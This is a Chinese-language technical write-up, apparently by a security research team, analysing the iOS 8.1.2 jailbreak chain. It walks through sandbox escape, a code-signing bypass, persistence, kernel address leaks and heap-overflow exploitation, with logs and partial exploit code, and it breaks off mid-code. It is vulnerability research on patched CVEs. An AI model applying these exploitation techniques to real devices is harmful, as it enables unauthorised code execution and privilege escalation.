iOS 8.1.2 越獄過程詳解及相關漏洞分析

wyzsk發表於2020-08-19
作者: 360NirvanTeam · 2016/01/10 12:35

Author:[email protected]

0x00 簡介


本文主要介紹了:

  1. 自己對越獄的理解
  2. iOS 8.1.2 越獄工具的工作過程
  3. 越獄過程所使用的漏洞
  4. 每個漏洞的利用方法

希望透過這篇文章讓大家瞭解越獄的過程,越獄需要的漏洞型別以及一些利用技巧,具體內容如下。

0x01 什麼是越獄


要說明什麼是越獄,我們首先來看下越獄後可以做哪些原來做不了的事情:

  1. 安裝任意簽名的普通應用和系統應用
  2. 安裝 SSH
  3. 新增命令列程式
  4. 新增 Daemon
  5. 任意新增、刪除檔案
  6. 獲取任意 Mach Task
  7. 偽造 Entitlements
  8. 使記憶體頁同時具有可寫、可執行屬性
  9. ……

如上的列表給出了越獄後才可以在 iDevice 做的事情,如果單從表象上去羅列,這個列表可以很長,下面我們從技術方面來做下歸納,具體看看破壞了 iOS 系統的哪些保護機制才可以做到上面的事情:

  1. 破壞程式碼簽名機制
  2. 破壞對記憶體頁的保護機制(W+X)
  3. 破壞對磁碟分割槽(/dev/disk0s1s1)的保護
  4. 破壞 Rootless 保護機制,主要用於保護系統的完整性;

因此,越獄中“獄”只要指 iOS 的如上三條保護機制,越獄是指破壞這些保護機制。

0x02 確定目標


越獄的過程實際上就是攻擊 iOS 系統的過程,在發起攻擊之前我們首先需要確定攻擊的目標,當然從大的方面來說目標就是 iOS 系統,但是這個目標太大了不足以引導攻擊過程,我們需要更確切的目標。如何確定確切的攻擊目標?我們只要找到系統的哪些部分負責相關的保護機制便可以確定最終的攻擊目標,下面是個人總結的攻擊目標:

  1. 核心、amfid、libmiss.dylib:三者配合實現了程式碼簽名
  2. 核心:對記憶體頁屬性的保護完全在核心中實現
  3. 獲取 root 許可權:重新 mount 磁碟分割槽需要 root 許可權

當然在攻擊最終的目標之前,我們還會遇到一些阻礙(系統有多道防線),這些阻礙可以作為階段目標,不同的攻擊路徑所遇到的階段目標也不同,但是透過 USB 發起的攻擊首先需要突破沙盒,因此沙盒也是一個重要的目標。

如上是個人對越獄的理解,下面會以 iOS 8.1.2 的越獄為例來詳細描述下攻擊過程,所使用的漏洞,以及漏洞的利用方法。

0x03 攻擊概述


對於透過 USB 發起的攻擊首先要解決的一個問題是如何突破沙盒。這裡的沙盒不單單指由 Sandbox.kext 約束的程式行為,而是廣義上的概念,比如可以將整個 iOS 理解為一個沙盒。預設沙盒只是開啟瞭如下幾個服務:

p1 圖1 :沙盒開啟的服務

iOS 8.1.2 的越獄工具利用 Mobile Backup 的漏洞(CVE-2015-1087) 與 AFC 的漏洞(CVE-2014-448)來過沙盒,然後利用 Image Mounter 的漏洞(CVE-2015-1062)來為使用者空間的任意程式碼執行創造條件。如果想在使用者空間執行任意程式碼,需要解決程式碼簽名驗證問題,越獄工具利用 dyld 的漏洞(CVE-2014-4455)解決了讓 afmid 載入假的 libmiss.dylib 的問題,從而過掉了程式碼簽名。這樣使用者空間任意程式碼執行的條件都具備了,接下來越獄工具透過一個輔助工具(root許可權)來執行 Untecher,Untether 的主要工作內容是首先重新 mount 磁碟的只讀分割槽到可寫狀態,然後將 /var/mobile/Media 中的 Payload 複製到系統的相關目錄。接下來 Untether 行為主要是攻擊核心,這裡主要有兩種方式:

方式一:

首先利用核心漏洞(CVE-2014-4491)得到核心的起始地址,KASLR 的 Slide,然後結合核心漏洞(CVE-2014-4496)和 IOHIDFamily 的漏洞(CVE-2014-4487)來製造核心空間任意程式碼執行、核心寫,接下來利用 Kernel Patch Finder 找到如上提到的保護機制的程式碼點以及一些 ROP Gadgets,構造 ROP Chain 來 Patch 核心。

方式二:

首先利用核心漏洞(CVE-2014-4496)得到 KASLR 的 Slide,然後利用 IOHIDFamily 的漏洞(CVE-2014-4487) 構造一個核心任意大小讀的利用,讀取某個已知物件的虛擬函式表,進而計算出核心載入的基地址,接下來與方式一相同。相當於方式二可以少利用一個漏洞。

如上是對整個越獄過程的大概描述,為的是讓大家有一個大致的印象,接下來會介紹詳細的越獄攻擊過程。

0x04 攻擊過程


一、突破沙盒

相關漏洞

CVE-2014-4480

#!bash
AppleFileConduit – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A maliciously crafted afc command may allow access to protected parts of the filesystem
Description: A vulnerability existed in the symbolic linking mechanism of afc. This issue was addressed by adding additional path checks.
CVE-ID
CVE-2014-4480 : TaiG Jailbreak Team 

表1:CVE-2014-4480

CVE-2015-1087

#!bash
Backup – Fixed in iOS 8.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: An attacker may be able to use the backup system to access restricted areas of the file system
Description: An issue existed in the relative path evaluation logic of the backup system. This issues was addressed through improved path evaluation.
CVE-ID
CVE-2015-1087 : TaiG Jailbreak Team 

表2:CVE-2015-1087

準備目錄結構

利用 AFC 服務建立目錄、檔案、軟連結:

  1. 建立目錄:

    #!bash
    PublicStaging/cache/mmap
    __proteas_ex__/a/b/c
    __proteas_ex__/var/mobile/Media/PublicStaging/cache
    __proteas_mx__/a/b/c/d/e/f/g
    __proteas_mx__/private/var
    
  2. 建立空檔案:

    #!bash
    __proteas_ex__/var/mobile/Media/PublicStaging/cache/mmap
    __proteas_mx__/private/var/run
    
  3. 建立軟連結:

    #!bash
    __proteas_ex__/a/b/c/c -> ../../../var/mobile/Media/PublicStaging/cache/mmap
    __proteas_mx__/a/b/c/d/e/f/g/c -> ../../../../../../../private/var/run 
    

表3:目錄結構

p2 圖2:建立目錄的日誌

這裡利用的是 CVE-2014-4480,在修補後的裝置上,比如:iOS 8.3 上,建立如上的目錄的結構 AFC 會報錯:

#!bash
afcd[395] <Error>:
AFCFileLine="1540"
AFCFileName="server.c"
AFCCode="-402636793"
NSDescription="Request path cannot contain dots :
../../../var/mobile/Media/PublicStaging/cache/mmap"
AFCVersion="232.5" 

表4:AFC 報錯資訊

觸發備份恢復

我們先看下觸發備份恢復的結果:

#!bash
iPhone5s:~ root# ls -al /var/run/mobile_image_mounter
lrwxr-xr-x 1 mobile mobile 50 Jun 26 17:29
/var/run/mobile_image_mounter -> ../../../var/mobile/Media/PublicStaging/cache/mmap 

表5:備份恢復的結果

在 mount DDI 時會生成一些臨時目錄,利用備份恢復的漏洞,這個臨時目錄被暴露到 Media 的子目錄中,從而為利用 DDI 的漏洞創造條件。

#!bash
1848 BackupAgent  Chowned  /private/var/.backup.i/var/Keychains
1848 BackupAgent  Created dir  /private/var/.backup.i/var/Managed Preferences
1848 BackupAgent  Created dir  /private/var/.backup.i/var/Managed Preferences/mobile
1848 BackupAgent  Chowned  /private/var/.backup.i/var/Managed Preferences/mobile
1848 BackupAgent  Created dir  /private/var/.backup.i/var/MobileDevice
1848 BackupAgent  Created dir  /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
1848 BackupAgent  Chowned  /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
1848 BackupAgent  Created dir  /private/var/.backup.i/var/mobile/Media
1848 BackupAgent  Created dir  /private/var/.backup.i/var/mobile/Media/PhotoData
1848 BackupAgent  Renamed  /private/var/mobile/Media/__proteas_mx__/a/b/c/d/e/f/g/c    /private/var/.backup.i/var/mobile/Media/PhotoData/c
1848 BackupAgent  Chowned  /private/var/run
1848 BackupAgent  Chowned  /private/var/run
1848   Renamed  /private/var/mobile/Media/__proteas_ex__/a/b/c/c    /private/var/run/mobile_image_mounter
1848   Chowned  /private/var/mobile/Media/PublicStaging/cache/mmap

表6:備份恢復的日誌

關於 CVE-2015-1087 蘋果的說明非常簡單,但是寫出 PoC 後發現還是相對比較麻煩的,編寫利用時需要注意:

  1. 如果利用 libimobiledevice 來寫利用的話,需要重寫mobilebackup_client_new,以便控制版本號交換,否則無法啟動 BackupAgent。
  2. 需要自己根據 Mobile Backup 的協議構造惡意 Payload(PList 資料),從而使 BackupAgent 建立如上的連結。
  3. 使用mobilebackup_send傳送 PList,使用mobilebackup_receive接收響應,並判斷是否執行成功。

為了方便大家除錯,給出一個列印 plist 內容的函式:

#!cpp
//-- Debug
void debug_plist(plist_t plist)
{
    if (!plist) {
        printf("[-] debug_plist: plist handle is NULL\n");
        return;
    }

    char *buffer = NULL;
    uint32_t length = 0;
    plist_to_xml(plist, &buffer, &length);

    if (length == 0) {
        printf("[-] debug_plist: length is zero\n");
        return;
    }

    char *cstr = (char *)malloc(length + 1);
    memset(cstr, 0, length + 1);
    memcpy(cstr, buffer, length);

    printf("[+] DEBUG PLIST:\n");
    printf("--------------------------------------------\n");
    printf("%s\n", cstr);
    printf("--------------------------------------------\n");

    free(buffer);
    free(cstr);
}

表7:程式碼 debug plist

當前程式

至此,透過對上面兩個漏洞的利用,把 Image Mounter 在 mount dmg 時的臨時目錄暴露到了 /var/mobile/Media/PublicStaging/cache/mmap,為下一步利用 DDI 的漏洞做好了準備。

二、利用 DDI 的漏洞

相關漏洞

CVE-2015-1062

#!bash
MobileStorageMounter – Fixed in iOS 8.2
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to create folders in trusted locations in the file system
Description: An issue existed in the developer disk mounting logic which resulted in invalid disk image folders not being deleted. This was addressed through improved error handling.
CVE-ID
CVE-2015-1062 : TaiG Jailbreak Team

表8:CVE-2015-1062

Payload 說明

Payload 有兩個,即兩個 dmg 檔案。

第一個 dmg 有三個分割槽:

  1. DeveloperDiskImage,空分割槽
  2. DeveloperCaches,後續會被 mount 到 /System/Library/Caches
  3. DeveloperLib,後續會被 mount 到 /usr/lib

具體內容如下:

├── Developer-Caches
│   └── com.apple.dyld
│       └── enable-dylibs-to-override-cache
├── Developer-Lib
│   ├── FDRSealingMap.plist
│   ├── StandardDMCFiles
│   │   ├── N51_Audio.dmc
│   │   ├── N51_Coex.dmc
│   │   ├── N51_Default.dmc
│   │   ├── N51_Flower.dmc
│   │   ├── N51_FullPacket.dmc
│   │   ├── N51_GPS.dmc
│   │   ├── N51_Powerlog.dmc
│   │   ├── N51_SUPL.dmc
│   │   ├── N51_Sleep.dmc
│   │   └── N51_Tput.dmc
│   ├── dyld
│   ├── libDHCPServer.dylib -> libDHCPServer.A.dylib
│   ├── libMatch.dylib -> libMatch.1.dylib
│   ├── libexslt.dylib -> libexslt.0.dylib
│   ├── libmis.dylib
│   ├── libsandbox.dylib -> libsandbox.1.dylib
│   ├── libstdc++.dylib -> libstdc++.6.dylib
│   ├── system
│   │   └── introspection
│   │       └── libdispatch.dylib
│   └── xpc
│       └── support.bundle
│           ├── Info.plist
│           ├── ResourceRules.plist
│           ├── _CodeSignature
│           │   └── CodeResources
│           └── support
└── DeveloperDiskImage

10 directories, 24 files 

表9:contents of 1st dmg

第一個 dmg 中有兩個檔案比較重要需要說明下:

  1. enable-dylibs-to-override-cache:我們知道 iOS 中幾乎所有的 dylib 都被 Prelink 到一個 Cache 檔案中,程式預設都是從 Cache 中載入 dylib,而忽略檔案系統中的 dylib。當檔案系統中存在 enable-dylibs-to-override-cache 時,dyld(Image Loader)才會優先載入檔案系統中的 dylib。蘋果可能是利用這個機制為自己留條後路或者說支援系統元件的熱更新。
  2. libmis.dylib,malformed 的 dylib,用於過程式碼簽名,後續會具體說明。

第二個 dmg 的內容如下,主要是越獄相關的內容:

├── Library
│   └── Lockdown
│       └── ServiceAgents
│           ├── com.apple.load_amfi.plist
│           ├── com.apple.mount_cache_1.plist
│           ├── com.apple.mount_cache_2.plist
│           ├── com.apple.mount_cache_3.plist
│           ├── com.apple.mount_cache_4.plist
│           ├── com.apple.mount_cache_5.plist
│           ├── com.apple.mount_cache_6.plist
│           ├── com.apple.mount_cache_7.plist
│           ├── com.apple.mount_cache_8.plist
│           ├── com.apple.mount_lib_1.plist
│           ├── com.apple.mount_lib_2.plist
│           ├── com.apple.mount_lib_3.plist
│           ├── com.apple.mount_lib_4.plist
│           ├── com.apple.mount_lib_5.plist
│           ├── com.apple.mount_lib_6.plist
│           ├── com.apple.mount_lib_7.plist
│           ├── com.apple.mount_lib_8.plist
│           ├── com.apple.ppinstall.plist
│           ├── com.apple.remove_amfi.plist
│           ├── com.apple.umount_cache.plist
│           └── com.apple.umount_lib.plist
├── bin
│   └── ppunmount
├── pploader
└── pploader.idb

4 directories, 24 files 

這個 dmg 會被 mount 到 /Developer,這其中的內容會被系統統一考慮,具體來說就是:假設 /Developer/bin 中的程式預設在系統的查詢路徑中。

漏洞解析

蘋果對這個漏洞的描述相對比較簡單,網路上對這個問題的描述是可以利用竟態條件替換 dmg,竟態條件是主要問題,但是竟態條件問題蘋果根本沒有 Fix,也很難修復。但是 DDI 還存在另外一個問題,下面我們一起看下。

觸發漏洞之前,/dev 中的內容:

#!bash
brw-r—– 1 root operator 1, 0 Jun 26 19:07 /dev/disk0
brw-r—– 1 root operator 1, 1 Jun 26 19:07 /dev/disk0s1
brw-r—– 1 root operator 1, 3 Jun 26 19:07 /dev/disk0s1s1
brw-r—– 1 root operator 1, 2 Jun 26 19:07 /dev/disk0s1s2
brw-r—– 1 root operator 1, 4 Jun 26 19:07 /dev/disk1
brw-r—– 1 root operator 1, 5 Jun 26 19:07 /dev/disk2
brw-r—– 1 root operator 1, 6 Jun 26 19:07 /dev/disk3
brw-r—– 1 root operator 1, 7 Jun 26 19:07 /dev/disk4
brw-r—– 1 root operator 1, 8 Jun 26 19:08 /dev/disk5

表11:mount dmg 前

觸發漏洞之後,/dev 中的內容:

#!bash
brw-r—– 1 root operator 1,  0 Jun 26 19:22 /dev/disk0
brw-r—– 1 root operator 1,  1 Jun 26 19:22 /dev/disk0s1
brw-r—– 1 root operator 1,  2 Jun 26 19:22 /dev/disk0s1s1
brw-r—– 1 root operator 1,  3 Jun 26 19:22 /dev/disk0s1s2
brw-r—– 1 root operator 1,  4 Jun 26 19:22 /dev/disk1
brw-r—– 1 root operator 1,  5 Jun 26 19:22 /dev/disk2
brw-r—– 1 root operator 1,  6 Jun 26 19:22 /dev/disk3
brw-r—– 1 root operator 1,  7 Jun 26 19:22 /dev/disk4
brw-r—– 1 root operator 1,  8 Jun 26 19:23 /dev/disk5
brw-r—– 1 root operator 1,  9 Jun 26 19:26 /dev/disk6
brw-r—– 1 root operator 1, 10 Jun 26 19:26 /dev/disk6s1
brw-r—– 1 root operator 1, 11 Jun 26 19:26 /dev/disk6s2
brw-r—– 1 root operator 1, 12 Jun 26 19:26 /dev/disk6s3

表12:mount dmg 後

上面是利用竟態條件 mount 第一個 dmg 之前與之後的結果,上面已經提到第一個 dmg 的 DeveloperDiskImage 分割槽是空的,不存在內容替換問題。

從上面的對比可以看到 MobileStorageMounter 還存在另外一個問題就是:在 mount 非法的 dmg 時,即使 mount 失敗,相應的分割槽還在裝置目錄中存在,在越獄過程中這些 disk 會被掛載:

  • disk6s3 被 mount 到 /System/Library/Caches
  • disk6s2被 mount 到 /usr/lib

觸發竟態條件

在觸發竟態條件做 dmg 替換前,需要找到 dmg 的臨時目錄,下面會說明 dmg 臨時目錄的構造規則。

先看真實的路徑,然後再說明構造方法:

/var/run/mobile_image_mounter/
6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b
1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/
909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39
f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/

表13:mount dmg 生成的臨時目錄

如上表,藍色是路徑的第一部分,綠色是路徑的第二部分(注:程式碼第2、3行為藍色,4、5行為綠色),下面看下 dmg 對應的簽名檔案內容:

p3

圖3:DeveloperDiskImage.dmg.signature

對比之後可以看到臨時路徑的生成規則是:將簽名檔案的內容轉換為十六進位制字串,然後將前64個位元組作為路徑的第一部分,將後64個位元組作為路徑的第二部分,之後在拼接上一個隨機生成檔名的 dmg 檔案,如:1Nm843.dmg。

在找到 dmg 檔案後,觸發竟態條件就相對容易些,具體方法為:首先檢查 DDI 是否已經 mount 了(開發裝置很可能已經 mount 了),如果已經 mount 了,重啟裝置。如果沒有 mount,首先載入真實的 DDI 與簽名,然後建立臨時目錄,上傳假的 DDI,再呼叫相關服務mount 真實的 DDI,緊接著用假的 DDI 去替換上面提到的臨時檔案(1Nm843.dmg)。

利用結果

完成利用 DDI 的漏洞後,第一個 dmg 的分割槽在裝置上保留,第二個 dmg 的內容被掛載到 /Developer:

#!bash
/Developer/Library
/Developer/bin
/Developer/pploader
/Developer/Library/Lockdown
/Developer/Library/Lockdown/ServiceAgents
/Developer/Library/Lockdown/ServiceAgents/com.apple.load_amfi.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_1.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_2.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_3.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_4.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_5.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_6.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_7.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_8.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_1.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_2.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_3.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_4.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_5.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_6.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_7.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_8.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.ppinstall.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.remove_amfi.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.umount_cache.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.umount_lib.plist
/Developer/bin/ppunmount

表14:裝置上 /Developer 目錄的內容

完成對 DDI 的利用後,相當於我們向系統又新增了一些服務,這些服務如果使用的是系統本身的程式則可以直接呼叫,如果使用的是自己的程式則首先需要過掉程式碼簽名。

p4 圖4:com.apple.remove_amfi.plist

p5 圖5:com.apple.ppinstall.plist

至此,只要我們再過掉程式碼簽名便可以在使用者空間已 root 許可權執行任意程式碼了,下面看下程式碼簽名。

三、過程式碼簽名

相關漏洞

CVE-2014-4455

#!bash
dyld – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A local user may be able to execute unsigned code
Description: A state management issue existed in the handling of Mach-O executable files with overlapping segments. This issue was addressed through improved validation of segment sizes.
CVE-ID
CVE-2014-4455 : TaiG Jailbreak Team

表15:CVE-2014-4455

這裡過程式碼簽名所使用的技術手段與之前的越獄工具相同,只是利用的漏洞不同,還是利用 dylib 函式重匯出技術,利用了 dylib 重匯出技術後,libmiss.dylib 變成了一個純資料的 dylib,在執行期間發生缺頁異常時也就不會觸發核心對記憶體頁的程式碼簽名驗證,這點比較重要,因為這裡的過程式碼簽名技術不是通用的,只能針對純資料的 dylib。

相信大家都看過程式碼簽名相關的文件與資料,比如: Stefan Esser 的《death of the vmsize=0 dyld trick》,大多都會介紹利用 MachO 的 Segment 重疊技術來過程式碼簽名,這裡不再對這種技術做詳細的說明。但是會解析另外一個問題:既然是一個純資料的 dylib,本身也沒有程式碼為何還要費勁得去過程式碼簽名?因為 loader 要求 MachO 檔案必須有一個程式碼段,即使本身不需要。

由於 iOS 8 之後 AMFI 中增加了另外一個安全機制,即:Library Validation,這個安全機制主要用來對抗程式碼注入式的攻擊,盤古在 《Userland Exploits of Pangu 8》中對 LV (Library Validation)有介紹,下圖是逆向分析得到的 LV 的流程圖,供大家參考:

p6 圖6:庫驗證的流程圖

因此,這裡 libmiss.dylib 也利用移植程式碼簽名的技術手段來過 LV,這裡給大家一個移植程式碼簽名的思路:

  1. 解析要利用其簽名資訊的 MachO 檔案,比如 afcd,從其中將簽名資料 dump 到檔案中,並得到大小。
  2. 在對 libmiss.dylib 做 malformed 之前,先用 codesign_allocate 為 dylib 申請簽名空間,為第一步中的大小:

    #!bash
    man codesign_allocate
    codesign_allocate -i libmis.dylib -a arm64 128 -o libmis2.dylib 
    
  3. 對 libmiss.dylib 做 malformed。

  4. 利用二進位制編輯工具修改 libmiss.dylib,將預留的簽名資料空間替換為第一步匯出的簽名資料。

四、使用者空間 root 執行任意程式碼

至此,我們已經制作了 malformed libmiss.dylib,只要 afmid 載入了這個 dylib 相當於就過掉了程式碼簽名。下面一起看下越獄工具以什麼樣的順序執行 /Developer/Library/Lockdown/ServiceAgents 中的服務:

  1. 呼叫 com.apple.mount_cache_1~8.plist 中的服務,mount /dev/disk1s3 到 /System/Library/Caches,目的是讓系統中存在 enable-dylibs-to-override-cache,從而可以用磁碟中的 libmiss.dylib 覆蓋 dylib cache 中的檔案。之所以有 1~8 是因為越獄工具無法確定具體是哪個 disk。
  2. 呼叫 com.apple.mount_lib_1~8.plist 中的服務,mount /dev/disk1s2 到 /usr/lib,這樣 libmiss.dylib 就存在於檔案系統中了。
  3. 呼叫 com.apple.remove_amfi.plist 中的服務,停掉 amfid。
  4. 呼叫 com.apple.load_amfi.plist 中的服務,重啟 amfid 服務,由於 enable-dylibs-to-override-cache 的存在,/usr/lib 中的 malformed libmis.dylib 會被載入,程式碼簽名的函式都被重匯出,對於程式碼簽名請求總會返回 0,0代表簽名有效。之後,我們便可以執行任意程式碼了。
  5. 呼叫 com.apple.ppinstall.plist 中的服務,以 root 許可權執行 untether,untether 會重新 mount 根分割槽到可寫,將 /var/mobile/Media 中的 Payload 複製到系統的相應目錄中,然後就是攻擊核心,Patch 掉文章開始提到的安全特性。
  6. 呼叫 com.apple.umount_cache.plist 中的服務,還原 /System/Library/Caches 目錄到磁碟上的狀態。
  7. 呼叫 com.apple.umount_lib.plist 中的服務,還原 /usr/lib 目錄到磁碟上的狀態。

至此,使用者空間的攻擊基本結束了,下面會介紹了持久化的方法,之後會介紹針對核心的攻擊。

五、持久化(完美越獄)

所謂完美越獄是指裝置重啟後可以自動執行 untecher,這樣就需要把 untether 做成開機自動啟動的服務。我們知道系統的自啟動服務存放在 /System/Library/LaunchDaemons/ 中,每個服務都是使用 plist 來配置,但是大概是從 iOS 7 之後自啟動服務的 plist 還需要嵌入到 libxpc.dylib 中,蘋果是想用程式碼簽名技術保護防止惡意程式修改自啟動服務。

因此,如果想讓 untether 開機自啟動我們還需要將相關的 plist 嵌入到 libxpc.dylib 中,由於 libxpc.dylib 會被修改,從而破壞了其原本的程式碼簽名,因此也需要使用與構造 libmiss.dylib 相同的技術來過程式碼簽名,過庫驗證。

下面介紹下系統是如何從 libxpc.dylib 中讀取 plist 資料的:

  1. 使用 dlopen 載入 libxpc.dylib。
  2. 呼叫 dlsym 判斷是否存在匯出符號:__xpcd_cache
  3. 呼叫 dladdr 得到__xpcd_cache符號的地址。
  4. 呼叫 getsectiondata 得到包含__xpcd_cache的Section的資料。
  5. 呼叫 CFDataCreateWithBytesNoCopy 建立 CFData 物件。
  6. 呼叫 CFPropertyListCreateWithData 將 Data 轉換為 plist。

在測試的過程中編寫了一個列印 libxpc.dylib 中 plist 資訊的工具,大家可以從 github 下載,在裝置上使用:

https://github.com/Proteas/xpcd_cache_printer

之所以在這裡介紹持久化,是因為持久化是完美越獄的重要組成部分,但是又不屬於核心漏洞。介紹來會介紹核心相關的漏洞與利用。

六、核心資訊洩露

相關漏洞

CVE-2014-4491

#!bash
Kernel – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
Description: An information disclosure issue existed in the handling of APIs related to kernel extensions. Responses containing an OSBundleMachOHeaders key may have included kernel addresses, which may aid in bypassing address space layout randomization protection. This issue was addressed by unsliding the addresses before returning them.
CVE-ID
CVE-2014-4491 : @PanguTeam, Stefan Esser

表17:CVE-2014-4491

CVE-2014-4496

#!bash
Kernel – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
Description: The mach_port_kobject kernel interface leaked kernel addresses and heap permutation value, which may aid in bypassing address space layout randomization protection. This was addressed by disabling the mach_port_kobject interface in production configurations.
CVE-ID
CVE-2014-4496 : TaiG Jailbreak Team

表18:CVE-2014-4496

利用方法

CVE-2014-4491,邏輯漏洞,不需要什麼利用技巧,利用如下的程式碼,可以獲取到核心資訊:

#!objc
- (NSData *)getKextInfoData
{
    vm_offset_t request = "<dict><key>Kext Request Predicate</key><string>Get Loaded Kext Info</string></dict>";
    mach_msg_type_number_t requestLength = (unsigned int)strlen(request) + 1;

    vm_offset_t response = NULL;
    mach_msg_type_number_t responseLength = 0;

    vm_offset_t log = NULL;
    mach_msg_type_number_t logLength = 0;

    kern_return_t opResult = KERN_SUCCESS;

    kext_request(mach_host_self(),
                 0,
                 request,
                 requestLength,
                 &response,
                 &responseLength,
                 &log,
                 &logLength,
                 &opResult);
    if (opResult != KERN_SUCCESS) {
        printf("[-] getKextInfoString: fail to request kernel info\n");
        return NULL;
    }

    NSData *responseData = [[NSData alloc] initWithBytes:response length:responseLength];

    return [responseData autorelease];
}

表19:CVE-2014-4491 的利用

具體資訊如下圖:

p7 圖7:核心資訊

得到核心資訊後,解析 xml 資料,得到 OSBundleMachOHeaders 鍵對應 Base64 字串,之後解碼字串可以得到一個 MachO:

p8 圖8:MachO Header

然後解析這個 MachO 頭從中得到__TEXT Segment的開始地址,得到__PRELINK_STATE的開始地址,然後從__PRELINK_STATE的開始地址中計算出核心的開始地址,用核心的開始地址減去__TEXT的開始地址就是 KASLR 的 Slide。__PRELINK_INFO Segment 的結束地址就是核心的結束地址。這樣我們就得到了核心的起始地址、結束地址、KASLR 的 Slide。這些資訊主要有兩方面的應用:Patch 核心相關的工作需要核心的真實地址;在核心堆利用過程中也需要知道KASLR 的 Slide 從而得到堆物件的真實地址。

CVE-2014-4496,邏輯漏洞,Stefan Esser 對這個漏洞做了詳細的描述:

mach_port_kobject() and the kernel address obfuscation

大家可以仔細閱讀下,這裡補充下具體怎麼獲得那個常量物件:

#!objc
io_master_t io_master = 0;
kret = host_get_io_master(mach_host_self(), &io_master);

表20:建立常量物件

至此核心資訊洩露相關的漏洞已經介紹完畢,這些都是核心讀與核心程式碼執行的準備工作。

七、核心讀、任意程式碼執行

相關漏洞

CVE-2014-4487

#!bash
IOHIDFamily – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A buffer overflow existed in IOHIDFamily. This issue was addressed through improved size validation.
CVE-ID
CVE-2014-4487 : TaiG Jailbreak Team

表21:CVE-2014-4487

盤古團隊專門有篇文章介紹了這個漏洞產生的原因以及利用思路,大家可以仔細讀下:

CVE-2014-4487 – IOHIDLibUserClient堆溢位漏洞

利用思路:將一個小 zone 中的記憶體塊釋放到大的 zone 中,結合堆風水,釋放後立即申請剛剛釋放的記憶體塊,便可以覆蓋相鄰的小核心塊。

利用思路示意圖

利用思路:將一個小 zone 中的記憶體塊釋放到大的 zone 中,結合堆風水,釋放後立即申請剛剛釋放的記憶體塊,便可以覆蓋相鄰的小核心塊。

p9 圖9:堆溢位利用過程

核心讀

核心讀主要利用的 mach_msg 的 ool descriptor,具體過程如下:

  1. 利用堆風水從 zone-256 中申請 8 個連續的記憶體塊。
  2. 釋放前面 5 個記憶體塊。
  3. 向當前 Mach Task(untether)傳送 mach 訊息,訊息帶有 8 個 ool descriptor,每個 ool descriptor 的大小為:256 – sizeof(fake_vm_map_copy_64)

    #!objc
    typedef struct fake_vm_map_copy_64_ {
        uint32_t type;
        uint64_t offset;
        uint64_t size;
        union {
            struct {
                uint8_t something[64];
            };
            uint64_t object;
            struct {
                uint64_t kdata;
                uint64_t kalloc_size;
            };
        };
    } fake_vm_map_copy_64;
    

    表22:關鍵資料結構:fake_vm_map_copy_64

    這樣剛剛釋放的記憶體塊,就會被申請到。

  4. 釋放堆風水中後面 3 個記憶體塊。

  5. 觸發漏洞,第 6 個記憶體塊會被新增到 zone-1024 中。

  6. 再次向自己發訊息,ool descriptor 的大小為: 960 – sizeof(fake_vm_map_copy_64),因為系統會從 zone-1024 中分配 960 大小的記憶體塊,這樣我們只要控制 960 記憶體塊的內容就可以控制溢位。

  7. 控制溢位:

    #!objc
    - (void)constructPayload:(uint8_t *)buffer
              kobjectAddress:(mach_vm_address_t)kobject_address
                 readAddress:(mach_vm_address_t)address
                   _readSize:(mach_vm_size_t)size
    {
        // 0xA8 = 168(payload) = 256 - sizeof(fake_vm_map_copy_64)
        if (size < 0xA8) {
            size = 0xA8;
        }
    
        // 0x368 = 872 = 960 - 88
        // 0x0A8, 0x1A8, 0x2A8, 0x3A8
        // 0x3A8 - 0x368 = 0x40 = 64
        fake_vm_map_copy_64 *vm_copy_struct_ptr = (fake_vm_map_copy_64 *)(buffer + 0xA8);
        for (int idx = 0; idx < 3; ++idx) {
            memset(vm_copy_struct_ptr, 0, sizeof(fake_vm_map_copy_64));
    
            if (idx == 0) {
                vm_copy_struct_ptr->type = 0x3;
                vm_copy_struct_ptr->size = size;
                vm_copy_struct_ptr->kdata = address;
                vm_copy_struct_ptr->kalloc_size = 0x100;
            }
            else {
                vm_copy_struct_ptr->type = 0x3;
